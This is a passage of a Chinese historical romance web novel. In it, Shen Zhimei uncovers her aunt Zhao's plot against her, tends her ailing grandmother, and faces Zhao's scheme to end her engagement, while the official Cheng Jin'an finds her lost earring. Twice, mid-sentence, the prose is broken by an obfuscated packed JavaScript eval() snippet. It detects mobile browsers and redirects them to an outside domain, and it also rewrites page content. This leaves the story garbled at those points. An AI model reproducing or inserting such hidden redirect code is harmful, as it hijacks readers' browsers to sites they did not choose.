红绸在泥面上卷了几遭，染上零落的尘土。而落在沈之湄脚前的那盏描花绘寿的灯笼，早在柔韧枝条的抽打中支离破碎，徒留“嗤嗤啦啦”几声哀鸣。 沈之湄顿了一顿，旋即不回头地快步走开，只余一道纤弱却挺秀倔强的身影。 她一路都在忖量外祖母病情如何，又因何抱病。思前想后半晌，她推测多半是应酬交际过于劳心精力不济，引出了前番病症。 到寿喜堂时，她动荡不安的心神已恢复沉静。 里屋，或站或坐了几个人，二老爷陈准肃穆着脸站在床榻前三两步，盯着须发皆白的张老大夫诊脉。不一会张老大夫缓缓收起右手三指，示意陈准外间说话，沈之湄给忧心忡忡的王妈妈使了个眼色，见人悄没声跟出去，便侧身到钱氏跟前招呼。 二房太太钱氏拧眉坐在一旁铺有厚棉垫的圈椅中，见着沈之湄招她靠近，压低声道：“莫急，想是老毛病犯了，你大舅舅和大舅母并几个弟妹现正在前头赔礼送客，一会儿就来。” 沈之湄点头不语，踱步到床畔。 雕绘着百子千孙石榴纹的檀木床上铺着细软的绒毯，陈老夫人平躺在上，盖着一床降红色葫芦藤蔓镶寿字不断纹的锦被。她双眼紧闭，面色苍白中透出微微的青，双颊深凹，眼下泛着沉沉的黑影。 躺在这喜庆喧嚣里的外祖母人却显得越发憔悴。 沈之湄心猛地一揪，鼻尖涌上如潮般的酸意，眼尾瞬时濡湿。 燕僖用棉帕替陈老夫人拭了拭额头，随后不动声色地轻扯一下沈之湄衣袖，尔后转身去次间换洗棉帕。 沈之湄瞥了一眼正闭目养神的钱氏，轻脚跟上。 她缓步走到燕僖身旁，低声道：“前些日子外祖母身子便已大好，今儿一早还好好的，怎么忽然便倒了。是累着了，还是其他？” 燕僖一面在水里绞帕子，一面探身贴到沈之湄耳侧，压着嗓小声恨道：“老夫人今儿兴头一直挺足，翠韵苑的小梨花正唱着《麻姑献寿》，老夫人听得高兴，方令人送了赏，便有个毛毛躁躁的小丫头闯进来，叫喊着有人落湖溺死了……老夫人一时闪着，便有些不好，回寿喜堂阖眼便睡了。” 沈之湄面拢霜雪，眸色寒凉，沉声道：“知道是谁溺水么？” 燕僖凝神想了想，犹疑道：“……听名儿像是瑕姑娘院里的，当时奴婢着急老夫人，便未多留意。” 沈之湄胸口一阵气血翻涌。 她当即便领悟了，赵氏这是构陷不成，为防她向外祖母告状，事情败露牵涉她，索性先发制人杀了那丫鬟灭口，来个死无对证！ 如此一来，沈之湄若紧抓被害一事不放，势必会扯出她曾和那丫鬟同到湖边，且独自先行离开，在有心人的推波助澜下又会以此滋生出怎样脏污的流言，她当下便能猜度个七七八八。 沈之湄心头起伏如潮，一阵委屈悲愤，忍不住咬紧下唇。 燕僖见她面色沉肃，小心唤了句：“姑娘？” 沈之湄牵了牵唇，抬起一只手，对面含忧色的燕僖道：“先出去听听大夫怎么说。” 张老大夫已留下方子由陈准送出门，钱氏在外间轻声细语指挥丫鬟们关窗煎药，王妈妈疾步到沈之湄跟前，附耳低语：“老奴听张老大夫的意思，老夫人前些时日风寒月余本就损了气血，身子骨虚弱，尚需温养，可今儿乍喜乍惊，情志淤堵，诱发了心疾。菩萨保佑，暂无大碍，如今只需喝些益气补血的汤药，舒缓心境静养。” 王妈妈如释重负般吐口气，继续道：“张老大夫临了交代，老夫人今朝有了年岁，平素且得好生将养，除却周全衣食，紧要少思少虑，心志疏阔方是长生之道。” 沈之湄紧紧握住手，整颗心跌在沁凉的冰水里挣扎。 外间忽起喧嚣，几息后，赵氏领着一群人进了门，望见沈之湄似模似样笑道：“湄丫头的腿脚倒是快。” 赵氏这话听着似乎是一句无关痛痒的调侃，实则沈之湄知晓，大抵是她对自己撕开她圈套出逃气得厉害了，这才甫一见面便话藏机锋，夹枪带棒。 沈之湄狠狠捏着一片冰凉的掌心，摆出一脸赧色，垂首低声道：“外甥女是个不经事的，闻听外祖母卧病乱了心神，顾不上其他，便横冲直撞跑来了。” 赵氏行至床前掠了几眼，接过钱氏递上的药方，问了安排，又疾言厉色敲打了一遭寿喜堂的丫鬟仆妇，就将沈之湄叫到次间。 屋里正中立着一个银鎏金字双寿双耳鼎炉，炉内散着烟蒙蒙的雾气，炉旁临窗有张矮榻，赵氏端坐其上，掀眼打量几步外亭亭玉立的沈之湄。 淡薄的天光里，少女脸庞朦胧秀丽，一双眸子明媚璀璨，像揉碎了皎月清辉，也像春日细雨中潺潺的江波。她身姿宛然，穿着明紫色素面襦衫，藕荷色绣垂叶兰草湘江长裙，一条浅碧绣金的腰带将纤腰束成一搦，弱质楚楚，像绽放在茫茫白雪中一支柔而韧的红梅。 确是个风姿婉约，无可比拟的美人。 可惜了，她们没有做婆媳的缘分。 赵氏耷下眼睑，啜了口茶，悠悠一叹，道：“湄儿可听着了，今儿有个不知事的丫鬟投湖了？” 沈之湄面上浮起一丝错愕，恍然摇头。 赵氏的目光钉子般钉在沈之湄面上，语调却低缓：“听人报，那丫鬟跳湖前曾去花厅找过你。” 沈之湄怔了一瞬，面色片时惨白，急切地磕磕巴巴解释：“那丫鬟是瑕表妹院里的，她到花厅寻我说瑕表妹起热了，我忧心表妹身子便想去瞧瞧，路过湖畔，孰知那丫鬟竟假借摘花之名，欲推、推我入水……我、我当时怕极了，摸了块石头砸她，趁她没反应过来才张皇逃开了……大舅母她落水和我无关的，真的和我无关，我还听见她爬起来追我……” 赵氏必已从那丫鬟口中得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“人死事销，那丫鬟既已死，内情如何再问不出，若一再追究查问，你和她曾一同到过湖边的事便免不了被那蠢钝无知之人一再嚼嘴，不论事实如何，沾上阴晦之事，俱都会妨碍你声名。”赵氏耐下心，徐徐诱导，“而今先把此事掩下，待风波平定再暗地里慢慢询查。这事有大舅母在，必会查明真相，让你安心。” 沈之湄轻垂下眼帘，放低声音，轻轻道：“还是大舅母思虑周全。” 终于，赵氏说出最终目的：“老夫人身子骨弱，咱们便等查明真相后再一并告诉她，免得她跟着忧思。湄儿觉得这般安排还可行？” 赵氏当沈之湄是一无所知的天真弱女，惊魂失措之下只能任由她摆布。 如此，正好。 她低头靠在赵氏肩上，婉转柔弱道：“都听大舅母的。”墨点的眸子却沉静如淬了冰的湖。 赵氏心下一宽，搂住沈之湄笑叹：“好孩子。” 此时的沈之湄依偎在赵氏温热的怀里，心头却如同淋了一场冬雨，冷得打颤。 今儿事败，近段时日，赵氏极可能会再生歹计，那么她该怎么保全自己，甚至回敬呢？ 8. 第八章 一个时辰后，陈老夫人悠悠醒转，用了半碗熬出油的米粥，服下汤药便又昏睡了过去。 及到戌时，陈预等儿孙媳妇都回各自院落用膳，留下沈之湄守夜陪护。 沈之湄配着麻油凉拌熏肉丝、海蜇凉拌莴笋丝、春笋油焖花菇并一小碟什锦酱菜，略用了碗枣熬粳米粥。 晚膳的一忽儿光景，窗外已飘起雨，鸦羽似的墨黑云团密密实实挤在穹顶，淅沥沥的雨珠儿浇得人心头愁丝越发绵长。 这天儿变得可真快。 沈之湄正漱口，匆匆忙忙跑进来一个小丫头，喜道：“老夫人醒了。” 她赶紧用帕子摁了摁唇角，急急朝里面去。 陈老夫人正歪在床上，身后垫了一个姜黄色富贵团花迎枕，床边设了一张莲纹梨花木小翘几，燕僖带着俩丫鬟在条几上摆放杯碗碟勺，另一些软糯好克化的点心。 沈之湄趋步到床畔，忍住蓦然翻涌的泪意，红着眼圈儿雏鸟还林般叫了声：“……外祖母。” 陈老夫人一脸慈爱拉住她的手，反宽慰道：“傻孩子，年纪大了总会有些老毛病，莫担心。” 沈之湄尽力扮出个笑容，哑声道：“孙女服侍您用膳。” 病中之人的食欲不兴，不过有沈之湄贴心服侍和柔声哄劝，陈老夫人倒是用了一小碗粥两块点心和几筷子鱼虾豆腐。 兴许白日睡得足，她这会儿的精神头不错，便让王妈妈把先时陈预送来的一幅字画取来观摩。 陈预虽出身武将世家，但本人却不喜军武之道，尤爱诗词字画，诗词文章虽空洞乏味，但画技算略有小成，自黑漆螺钿长木匣中拿出的这幅寿山松涛图便是陈预亲画，还请了今日贵宾程阁老题字盖印。 “湄儿还没见过程大人吧？”陈老夫人随口说了一句，仿佛答案已了然于胸，未做停顿就继续道，“他的字画极少流传出来，每一件都称得上绝品，实乃当世书画大家。” 沈之湄想到之前程晋安的那句“今日我并未见过你”略不自在，顿了顿才轻应了一声，随后转身迎去门口，接过燕僖手里的红漆木描金海棠小圆茶盘，端到床前放于条几上。 这会儿，王妈妈正弯腰举着一卷画纸凑往陈老夫人眼前，陈老夫人微微探着身一瞬不错地端详这字画，口中连声赞叹：“笔迹流水行云，却峻伟有力，端的大气从容，当年梁武帝用‘群鸿戏海，舞鹤游天’八字评书圣之行书，依我看眼下这笔字也当得如此赞誉。” 闻言，沈之湄禁不住抬眼去望，便见画纸左上方书有“如南山之寿，不骞不崩，如松柏之茂，无不尔或承。”四行行书，落笔如山岳，苍逸遒劲。 陈老夫又屏气凝神逡视了几遭，便叮嘱王妈妈仔细收起来，忽而不解道：“今儿程阁老竟是来了，还给了莫大的面子赠送墨宝，可咱家素来与他没甚交情，他此行为何？” 沈之湄笑着端过白瓷药碗，柔声劝道：“程阁老所来为何孙女并不眷注，孙女如今只盼您莫再伤神，先把汤药服下，养足精气神，咱们赶明儿一起去进香爬山赏景去。” 陈老夫人接过药碗一饮而尽，张嘴含住沈之湄递来的杏脯，笑斥一句：“偏生你贪顽。” 沈之湄笑吟吟蹭着她胳膊撒娇：“是外祖母疼我。” 陈老夫人低头爱怜地摩挲着沈之湄削薄的肩头，逗趣两句后，悠悠然道：“程阁老不仅书画精湛，读书文章亦冠绝天下，十五岁参加江西乡试得头名解元，次年又中了一甲探花，授予翰林院编修一职，二十岁已成当今圣上的经学师傅……现下更是了不得，权势日隆，着实是个极厉害的人。如他这般的人，一举一动，一言一行俱有其深意。” 一言一行俱有深意，一言……是这样吗？ 沈之湄不由地想起被她当成错觉而略过的那一丝熟稔。她听见他说“果真记下才好”，之后又说“今日……我并未见生人”，“果真”、“生人”……假使他的话里当真藏有深意，那么她是否能大胆推测两人之前便见过？ 可她全无印象。 沈之湄百思不得其解。 陈老夫人忽地打断了她迷乱的思绪：“咸哥儿读书虽比程阁老略逊些，可也勤勉上进，且他近几年模样行止越发出众，书院里的先生言他文章火候已到，今秋乡试取中不难，端看名次如何了。倘或他日后能有程阁老一半的能耐运道，定可再保南安伯府三代富贵无虞。” 顿了顿，陈老夫人抬手刮了一下沈之湄鼻子，笑道，“十八岁的举人也可称一句少年英才了，如此配我湄丫头，倒也使得。” 沈之湄把脸埋进陈老夫人的臂弯里，僵了一息，低声踟蹰唤了句：“……外祖母。” 陈老夫人还以为她是女儿家害羞，轻轻揉搓她两下，方欲打趣，却听沈之湄含混道：“我和表哥的亲事若横生变故做不成了……” 陈老夫人微微用力搂住她，慈爱道：“你父亲不日便进京，介时头等大事就是你和咸哥儿的婚事。可是日子渐近，心里不安稳，患得患失起来了？你且安心，有外祖母盯着呢。” 沈之湄趴在陈老夫人的肩膀上，轻声迷惘道：“……和表哥日后必能圆满么？” 今日之前，她对这桩亲事是心怀憧憬的。她和陈咸自幼一处长大，知根知底，他五岁上便立志要科举入世，重振伯府往日荣光，因而修习君子气度，温文尔雅，谦恭有礼，实无可指摘之处，最重要的是，和他成亲，她便能一直跟外祖母朝夕相处。 沈之湄细细审视了自己一番，她对陈咸并不如何留恋，对他多半是兄妹之情，男女之情朦胧稀微。十二三岁情窦初开的年纪，陈咸离家远行求学，一去便是一年，归家后又忙于应酬功课，两人单独相处的时日几近于无，于是便少了情感萌发的契机。 幻境片段里，她因和外祖母分离而哭泣，因嫁去全然陌生的府邸而彷徨无措，因不谨慎落水而懊悔……而对陈咸，她只有淡淡的遗憾。 雨珠“噼噼啪啪”打在窗棂上，一忽儿急且重，一忽儿缓又轻，嘈嘈杂杂，陈老夫人的一声叹息便淹没在这晦暗的风雨里。 “傻丫头，世上哪有尽善尽美的夫婿，十足稳妥的婆家，姑娘做了媳妇便要矮三寸。人活在世上，哪能事事遂心如意，都是尽力周全罢了。” 沈之湄把脸朝陈老夫人怀里又钻了钻。 陈老夫人似回忆起往昔岁月，一片怅然，好半晌后才继续道：“咱们伯府虽不复往日赫赫扬扬，但家底还算厚实，人口也简单，一些家世鼎沸的人家几代同堂，嫁进去头顶几层婆婆，都得恭顺服侍；身边妯娌十数人，各个有自己的脾性盘算，交际相处且得谨慎；后面还缀了一大堆小姑子小叔子，也需得赔笑避让。更别提外面人家的哥儿大都十三四岁便在屋里放了人，只待新奶奶进门抬做姨娘……乌七八糟，千头万绪，又怎能安生过日子？” 沈之湄想到白日郑嫣的话，忧心道：“听郑二妹妹讲吴家五世同堂，那她远嫁出京岂不愈加艰难？” “吴家清贵，自有严整规矩，大面上出不了岔子。”陈老夫人摇了摇头，伤感道，“当年，你母亲便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583734|171628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是思量了这些才为你定下这桩婚约。唯一担忧的是日后咸哥儿的品行。毕竟，与咸哥儿一般的有爵人家的子弟大都因祖荫不求进去，文不成武不就，一个个皆成了颟顸无能的败家子，嫁给这般的膏粱子弟，往后半辈子都要泡在苦水里了。好在咸哥儿有志气，不然无论如何我都要毁了这桩婚约。” 沈之湄心里一片怅然，母亲当年竟为她劳心筹谋至此。 “你大舅母有些小心思，可她城府浅，不需费心应付。”陈老夫人吁了长长的一口气，“我虽只是你大舅舅的嫡母，可对他亦有抚育栽培之恩，再者朝廷以孝治天下，哪日我去了，留话让他照看你，他不会弃你不顾。” 赵氏心浅，可手狠胆大，惯爱阳奉阴违，大舅舅哪怕有心关照她，可内宅掌于赵氏之手，赵氏大可面上千万好，私底下作弄她。当然，她亦不是那任人搓扁揉圆的面团。她十分清楚，大舅舅之于婆媳，之于内宅，所起效用有限。 沈之湄不反驳，心神全被外祖母交代后事般的口吻攫走，她心如刀绞，立马仰脸愠声道：“外祖母，咱们说好要长长久久在一处的！” “好好，是外祖母错了。” 陈老夫人望着沈之湄粉嫩如六月鲜藕的脸颊，心里涌上无尽怜爱，殷殷言道：“我只盼我的湄丫头将来夫妻和睦，举案齐眉，螽斯衍庆，富贵顺遂一辈子。” 沈之湄眼尾顷刻潮湿氤氲，她低头故作轻快道：“那外祖母可要一直瞧着孙女。” 陈老夫人也红了眼圈，不胜嗟叹：“傻丫头……” 沈之湄伏在陈老夫人怀里赖着不起，思绪却一刻不停。 因在病中，外祖母面容灰白，衬得皱纹都深了两分，眸子也不复往日清明，灰浊且涣散。 沈之湄的心如同揉皱的宣纸，揪成一团。 一直都是外祖母庇荫她，而今外祖母年岁渐长，身子骨日益衰败，她怎可再让外祖母忧思劳神，她业已成人，该换她立于外祖母身前遮风挡雨。 那么就以今儿这事为开端。她要自己寻摸出一条可行的路。 人生路长，日后总会遇见沟沟坎坎，不能遇见之便躲，要想办法淌过去，若实在无法，再绕路也不迟。 在婚约一事上，现下她还未走入死胡同，赵氏一人明确反对而已，大舅舅和表哥才是伯府真正的掌权人。 幻境中，外祖母卧病不起的衰弱模样一直盘桓在她脑海，让她的心血流干后冻成高山上一抔亘古不化的雪，她舍不得外祖母，满陈姓伯府，只她一个外姓人与外祖母是骨肉血亲。 外祖母方才的一番殷殷之言，更坚定了她守住这桩婚事的想法。 只是，如若大舅舅或表哥亦有他念……那她也绝不拖泥带水，哭求不放！先不提她低声下气委曲求全能否保全婚事，只若她过得不快活顺心，外祖母定然愈发不开怀，外祖母一向只盼她遂意安乐，而她老人家方才话里话外就流露了这般意味。 沈之湄愈发依恋地蹭了蹭陈老夫人衣襟。 至于如何回敬赵氏，必要从她最在意的地方着手，而赵氏此生最在意的莫过儿子和丈夫。 针对陈咸，仿似只要她和陈咸成亲牢牢把人抓在手里，让赵氏上天入地折腾一回却徒劳无功就是最好的报复了。 可她不会为了报复，儿戏自己的人生。 至于大舅舅，沈之湄记起外祖母前些天曾提过的一件事…… 由此她倏而想到一个极好的办法，既可一报她遭算计和外祖母生病之仇，又可拖住赵氏的目光心神。 9. 第九章 南安伯陈预空有上进心，才干却平庸，在鸿胪寺一呆数年，现任鸿胪寺少卿，官职五品，平日颇为闲散，也就外邦觐见，诸藩朝贡那时忙碌两月。 于京中，陈预尚有些声名，可跟程晋安那等炙手可热的权重人物不可同日而语，然而今儿程晋安却亲来伯府祝寿，实令他心潮澎湃。 陈预和赵氏一并用过晚膳，喝茶消食时忍不住便聊带了几句。 赵氏抬手给陈预掺茶，问道：“老爷，程阁老可是青眼于您？那您欲调职兵部的事岂不稳妥了？” 陈预端起桌上的豆绿底绘的粉彩成窑茶碗呷了一口，摆手道：“哪有这般容易。程阁老年后一番雷厉风行的清洗，空下来的职缺与内阁众人协商勾兑后，早便分派给先时替他冲锋陷阵的心腹手中。” 赵氏靠近陈预耳侧，小声喜道：“既程阁老已主动折节，那老爷日后不妨多与程阁老走动走动，等时机成熟去求他襄助一把，事定成。” 陈预斜赵氏一眼，低斥道：“真是妇人之见！岂可用内宅妇人交际手段交好当朝重臣。程阁老少年老成，现今虽只而立之年，已然让人捉摸不透，他威仪日盛，城府涵养愈深，等闲之人怎能洞察他的心想。入阁之初，首辅次辅争相拉拢他，可他面面俱圆，仅半年光景便聚拢了新股势力，隐有将次辅压下去的势头。这般人，可能存利用之心刻意结交攀附？” 赵氏拍了拍胸口，嗔怪道：“我不过为老爷前程多两句嘴，倒引来你这般多话。” “外头的事我自有主张，你打理好内帏便可。”陈预正色道。 赵氏应了声“是”，斜了一眼陈预，抿了口茶，道：“老夫人近两年身子骨越发不成了，我也不好尽拿些内宅琐事去扰她清净，好在老爷治家有方，咱们伯府并无那起子污糟事，衣食日常我倒还拿捏得住。” 陈预未在意她这三两句恭维，放下茶碗抬眼睨着赵氏，一副怫然问罪的架势：“今儿跳湖那丫鬟怎么回事？为何偏生挑了今儿跳湖？好生生的寿宴被她搅散，母亲也被冲撞出病症来。还有那报信的丫鬟，众宾客前乱喊乱嚷成何体统？规矩呢？” “报信的小丫鬟选上来当差，规矩学了个囫囵，遇上事魂都吓飞了，哪管什么体面分寸，我已惩处了。至于那跳湖的丫鬟……”赵氏若无其事般，不痛不痒道，“底下人报说她爹娘一齐没了，便鬼迷心窍不想活了。我再能耐还能管得着她几时寻死不成？” 陈预将茶碗重重摔在桌上，皱眉呵斥：“你是一府主母，将内宅打理妥当原是你本分，出了乱子，总归是你掌管不利！往后，你多用些精力严整规矩，约束下人，以免再出这等岔子！” 赵氏暗翻白眼，面上却不显露半分，赶忙站起身，端正屈身下拜，郑重道：“老爷教训的是，妾身都记下了。” 陈预对赵氏姿态略满意，从喉咙里挤出哼声：“还有，几个孩子的亲事你还需多上些心。二丫头去年便已及笄，珠丫头明年就要出阁了，她只比珠丫头晚两月还没寻着人家，你也该给她相看起来了。” 二丫头一贯贴心，三不五时便给他送针线，鞋袜衣裳季季不落，即便柔姨娘早被他忘到九霄云外，可这个女儿虽及不上其余三个儿女，也是在他心里占了些分量的，婚姻大事他少不得敦促一二。 赵氏眸底暗芒一闪，回身落座，笑眯眯道：“等老爷吩咐什么黄花菜都凉了，我早便相看着呢，已有几个人选，我和柔姨娘商量过再递给老爷定夺。” 陈预满意颔首，又道：“咸哥儿的婚礼一应物什也该操办起来了。” 赵氏低垂眼帘，泛着细白冷光的手指有一下没一下磨砂戒托上的绿翡，半晌，转了话头道：“将才老爷说程阁老这灶头难烧，老爷一叶障目，竟忘了咱们眼前现成就有个热灶。” 陈预语气颇是不以为然：“哦，是谁？” “兵部侍郎杨元亭。”赵氏正身端坐盯着陈预，头上吉祥如意纹赤金大簪的流苏不住颤动，像是她此时不安分的心绪。 陈预转动着指间的白玉扳指，唏嘘艳羡道，“杨元亭？他倒是个极有运道的，贬斥三千里还能因军功回朝，就职兵部，自此青云直上至三品侍郎，有望入阁拜相。大理寺右少卿前儿已递了致仕折子，妹夫有杨元亭从旁相助，这少卿之缺很可能会落他头上。” 赵氏瞥陈预一眼，故作惊愕追问道：“沈妹夫守孝前不过一偏僻之地四品知府，杨大人竟有这般能耐？” 陈预从鼻子里哼了声，转而回了赵氏先时的建言：“我与杨元亭外头行走不免碰上，可也就面子情，何况妹夫续娶了他的小女儿，两家一直有意避嫌。” 赵氏受教般点点头，低声试探道：“若两家成了一家何用再避嫌？” 陈预猛地抬眼盯赵氏，问：“何意？你想和杨元亭做亲？二丫头还是或哥儿？” 赵氏抽出帕子绞在指间，道：“杨大人仅有一子，生有三子二女，三子年长俱已成家，大女儿前年嫁给袁首辅嫡三孙，小女儿尚在垂髫之年。” 陈预一脸纳闷的疑道：“那你究竟何意？” 赵氏偷眼觑了陈预一眼，口气慢悠悠道：“杨大人不是还有女儿么，常言道一个女婿半个儿，既然杨大人如此看重沈妹夫，咱们何不直接与沈妹夫结亲？” “咸哥儿和湄丫头成亲在即，咱们 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赵氏见陈预仍是一副不赞成的表情，便绕到太师椅后，一面轻柔替他捏肩，一面喟叹道：“我知老爷是重诺的顶天伟丈夫，可孰轻孰重想必老爷自有衡量。” 一顶高帽让陈预心气平顺不少，她继续轻声细语道：“咸哥儿是我们的头生子，伯府的承重嫡长孙，我狂妄诛心一猜，这几个子女里，老爷最重视偏疼者就是咸哥儿了。可咸哥儿立志科举入仕，为伯府门楣添彩，这般懂事识礼的孩子，老爷难道不愿助他一臂之力？” 陈预冷哼：“咸哥儿自是个好的。” 赵氏勾了勾唇，越发热切的说道：“朝中关系枝枝蔓蔓，他入官场多一座靠山，就多一分上进的机遇。老爷生不逢时，已是无望入阁进中枢，咸哥儿将来在朝为官纵然有恩师同年相提挈，可也不如实实在在亲长可靠，如今沈妹夫尚需岳父提携，立足未稳，待他荣获高位，咸哥儿还不定错失了多少良机呢。若是咱们与杨大人成了实在亲戚，远不说咸哥儿，只老爷入兵部一事，也就杨大人挥手动笔的功夫。” 陈预犹自绷着面孔，只眼神闪烁，口气也软和起来：“婚姻事大怎可因你三言两语便作罢，日后休得再提。” 赵氏暗自撇撇嘴，倒也不继续游说。夫妻多年，她已瞧出陈预已意动，只还未立时扭转过来，念及此她也歇了狠劝的心思，以免适得其反。 来日方长，不必急于一时。 *** 城东，程府九思院。 被南安伯府念叨了一遭的程晋安正捏着一只从袖袋里掉出来的红宝耳坠，若有所思。 10. 第十章 今儿白日里，宴席未开，程晋安便被圣上宣召入宫，自内阁值房出来时，已过戌时二刻。 车马辘辘，穿过府门廊檐下两盏灯笼倾洒的一拢晃晃悠悠的光亮，终在仪门前勒马收声。 程宁提着灯引路，程平亦步亦趋跟在程晋安身后，行至黑黢黢一片的院落时，程晋安脚步微缓了缓。 程平觑一眼程晋安挺峻的侧影，眼珠子又咕噜一转，往院门口溜了一遭，揣度道：“算算路程，老夫人、三爷和大小姐还有十来日抵京，老管家一早便遵您吩咐，遣人洒扫布置老夫人所居这处松羡堂、三爷居处平峦院、大小姐居所梨霜苑，最后一项梳理花木，昨儿业已收拾停妥，您可要进去勘验勘验，裨补缺漏？” 偌大府宅仅二爷一个主子，二爷初初入阁，事繁而重，几乎每日入夜才下值回府，三不五时还须挑灯伏案，审读公文至深夜。由是，府里事务一贯交由本分忠心的老管家打理，可许多事受身份所限，老管家并不敢拿大擅专，仍要二爷拨冗亲理。 唉，不怪他屡屡妄思主子婚事，实在是这尚书府，以及他们九思院亟待一位端慧贤淑的女主人当家理事。 老夫人此次进京，也泰半为着二爷婚事。倘使诸事顺遂，最快年底……哦不，最快明年年中府里就能迎来新夫人。只不过，自家主子至今未露丝毫娶亲之意。 程晋安闻言打住了脚，蹙起的眉心展了展，道：“山叔一向妥帖。后儿休沐我再亲去库房寻几样玩器摆于松羡堂。” 程平低眉躬身应是，眼珠却不自觉上瞄，见到自家主子眉间浅纹又起，便恍悟方才他猜错主子心思了。 主子这人心智如渊，惯来喜怒不形于色，可他自小贴身伺候主子，追随主子历尽艰险荣辱，主子的思虑他即便不能回回拿捏精准，逾半总是有的。 稍一忖量，程平便想到今儿入夜时分福州知府许吉方呈送给主子的那封密信。 看来福州出事了，出大事了。 果然，一踏入书房，主子便写了一封回信交给程宁，沉声吩咐：“令赵五即刻赶赴福建，亲手将这信交给许吉方，转告许吉方秘密行事，切记耐性谨慎，以免泄露行迹，打草惊蛇。” 程宁肃容领命退去。 程平接过仆妇端来的铜盆，准备侍候程晋安更衣洗漱。岂料，他刚抖了抖褪下的外裳，一声细微的清响，一红裹金的物什从外裳的袖间坠落。 程平忙不迭俯身捏起查看，待瞧清，眼瞳不由地剧缩，神情僵凝，这居然是一只红宝石耳坠，宝石呈水滴状，半小拇指肚大小，光华澹澹，成色极品，镶嵌宝石的金托做成双层金叶状，栩栩精巧，俏色灵动，这明摆着就不是主子所属之物。 程平不由地打了个激灵，霎那间念头一再翻转，脸色乍红乍白，只觉得捏在指腹的金耳钩仿佛淬了火，异常烫手，慌乱之际下意识朝程晋安伸臂。 程晋安见他半晌儿无声，侧垂眼睑。 明亮烛光在书房里悄然游动。 水滴状红宝石浮空悠曳，清透灵动，似朱砂流淌。 绯色光韵盈盈，叫程晋安不由想起小姑娘充血的圆润耳垂。 不过把耳坠拿在手里的片时功夫，程晋安已想清楚耳坠之所以出现在他衣袖的来龙去脉。 小姑娘于畹芙居辞别他时，他便留意到她一侧耳垂空无饰物，只不过两人并不相熟，且她神色始终隐含戒备。 他自幼洞察敏锐，等闲便可看穿旁人心思，再者又在官场浮浮沉沉十余年，如今寻常官员在他跟前尚难讳饰。故此她当时虽极力掩藏，然而于他而言，她宛如一泓清水，一眼便能看透。 一望她略凌乱狼狈的容态可知，她那会儿必刚从一场横祸踉跄脱身，俨如一只翘立枝头机敏四顾因着细微风吹草动而惊惶不安的山鹊。 不想再惊着她，他掠过了听起来会稍显亲近的话茬。 耳坠必是甫一照面，她未留神撞来时落到他身上的。 程晋安垂眸，小姑娘那会儿肩头直直抵上他胸膛，却并未惊呼出声，仅仰起脸，露出一双迷蒙潮湿的眼，由鸦羽似的眼睫托起，平添一丝烟云渺渺般的柔软。 须臾，她挣扎站稳，后退。 她面上很快镇定下来，朝他敛衽福礼，口言“阁老万安”语带微喘，神情举止却十分专注恭敬。 程晋安嘴角似有若无往上牵了牵。 程平深深悄悄地提了口气：“二爷，这耳坠……” 指腹好似仍残存着莫名蛰疼，程平浑身不得劲，忍不住扣搓手指，这会儿他已是反应过来这只红宝耳坠定是沈大姑娘的。 方才他过于惊愕欠思考，主子一向不慕女色，连贴身侍候的活计都是他和程宁来，哪会与女子私相授受，今儿沈大姑娘冒然撞进主子怀里，便是主子和女子最亲密的接触了。 “这耳坠可是沈……” 程平一面儿慢吞吞地试探道，一面儿忍不住悄悄窥向程晋安。 程晋安面上无甚表情，深浓的眉眼半掩，兼之烛火在他立体脸庞上笼照了片片暗影，内里情绪不流半分，而程平却好似从自家主子那波澜不兴的脸上分辨出微妙的涟漪。 不待程平擦眼一再确认，程晋安已剪断他话头，眉眼沉静地淡声道：“去沏一壶浓酽茶来。” 主子面上没多余表情，古井无波，方才一瞬的松动仿佛是他错觉。 程平拉下眼皮，暗瞟一眼将将被程晋安随手搁在紫檀书案上的莹润耳坠，咽回挤在嗓子眼的话，恭顺应了声是。 *** 与沈之湄闲话约莫一刻钟后，陈老夫人便催沈之湄回沁芜院休息：“我这是老毛病了，现下又已大好，很不必你守着，再说即便守夜也有丫鬟们呢。你兴师动众歇碧纱橱，我还总惦记起身瞧你，反伤神。外头雨整好停了，赶紧回去罢。” 沈之湄推脱不过，辞别陈老夫人，挑灯回沁芜院。 天穹泼墨似的漆黑，半粒星光不点，湿漉漉的风丝拂动发鬓，好似昭示着这场春夏之交的骤雨且未终了落幕。 回到沁芜院，外裳已微微起潮，虽没触及肌肤，沈之湄仍觉黏凉，甫一入内室，便对碧枝道：“去柜里取那件藕荷色家常衣裳替我更衣。” 见她柳眉轻锁，碧枝忙“唉”了声，手脚麻利地翻出衣裳，熟门熟路伺候沈之湄换衣。 干燥柔软的衣裳穿上身，沈之湄肉眼可见松快了。 心 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可云柳竟没找到？ “不该啊……”沈之湄下意识反驳低喃。 云柳清楚耳坠之于姑娘的特别，她见姑娘面上血色慢慢褪淡，咬了咬唇，不自觉接口劝慰道：“应是奴婢没用，遗漏了哪里，明儿奴婢再去细致寻摸……” “嗯……我也再想想……”云柳惯来细致，耳坠可能的确没落在沿路，沈之湄余光瞥见云柳微湿的发梢，回过神连忙催道，“这事明儿再说，你赶紧去换身干燥衣裳，喝碗姜汤，当心病了。” 姑娘容色着实称不上好，白瓷似的面皮这会儿堕了光，依然琼姿花貌，甚而别具一番娇花曳雨的楚楚之态，但云柳更焦切姑娘靥下的黯然迷惘。 云柳想守着自家姑娘不愿离开，禁不住为自己分说，恰时碧枝自外间端来温水：“姑娘这儿有我呢，再说你若抱恙，如何能再伺候姑娘？” 云柳好歹被劝走了，却暗暗下定决心一定要帮姑娘寻回耳坠。 沈之湄把手浸入雕花铜盆，思绪早已飘远，半晌儿未动。 